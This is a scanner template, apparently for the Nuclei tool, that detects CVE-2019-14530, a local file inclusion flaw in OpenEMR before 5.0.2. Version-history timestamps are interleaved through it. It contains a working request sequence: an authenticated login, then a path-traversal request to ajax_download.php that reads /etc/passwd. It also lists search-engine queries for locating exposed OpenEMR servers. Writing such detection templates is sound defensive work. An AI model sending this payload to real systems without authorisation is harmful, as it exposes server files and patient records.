2022-08-27 05:16:12 +00:00
id : CVE-2019-14530
2022-08-27 07:38:55 +00:00
2022-08-27 05:16:12 +00:00
info :
2023-01-16 17:41:15 +00:00
name : OpenEMR <5.0.2 - Local File Inclusion
2022-08-27 05:16:12 +00:00
author : TenBird
severity : high
2022-08-27 07:38:55 +00:00
description : |
2023-01-16 17:41:15 +00:00
OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
2023-09-06 12:53:28 +00:00
remediation : |
Upgrade OpenEMR to version 5.0.2 or later to mitigate the LFI vulnerability.
2022-08-27 05:16:12 +00:00
reference :
2022-08-27 07:38:55 +00:00
- https://www.exploit-db.com/exploits/50037
- https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
2022-08-30 18:11:00 +00:00
- https://github.com/openemr/openemr/pull/2592
2023-01-16 17:41:15 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-14530
2024-03-23 09:28:19 +00:00
- https://github.com/sec-it/exploit-CVE-2019-14530
2022-08-27 05:16:12 +00:00
classification :
2022-08-30 18:11:00 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
2022-08-27 05:16:12 +00:00
cve-id : CVE-2019-14530
2022-08-30 18:11:00 +00:00
cwe-id : CWE-22
2024-05-31 19:23:20 +00:00
epss-score : 0.80535
epss-percentile : 0.98316
2023-09-06 12:53:28 +00:00
cpe : cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
2022-08-30 05:53:22 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:53:28 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : open-emr
product : openemr
2024-05-31 19:23:20 +00:00
fofa-query : icon_hash=1971268439
shodan-query : http.html:"openemr"
google-query : intitle:"openemr"
2024-01-14 09:21:50 +00:00
tags : cve2019,cve,lfi,authenticated,edb,openemr,open-emr
2022-08-27 05:16:12 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-08-27 05:16:12 +00:00
- raw :
- |
POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-08-27 07:38:55 +00:00
2022-08-27 05:16:12 +00:00
new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1
- |
GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1
Host : {{Hostname}}
2022-08-27 07:38:55 +00:00
2022-10-07 21:27:25 +00:00
host-redirects : true
2022-08-27 07:38:55 +00:00
max-redirects : 2
2023-07-11 19:49:27 +00:00
2022-08-27 05:16:12 +00:00
matchers-condition : and
matchers :
2022-08-27 15:41:32 +00:00
- type : word
part : header
words :
- filename=passwd
2023-07-11 19:49:27 +00:00
- type : regex
regex :
- "root:[x*]:0:0"
2022-08-27 07:38:55 +00:00
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 4a0a00473045022100d4130fb1b77b9e6ee1a29b2c6d5479765ab5b0d271d62634e50ba19053b61e6a02207bd80e0f22b1dd469d044b7b50a9930d04015e00b7fc3cb45feed0620ae85673:922c64590222798bb761d5b6d8e72950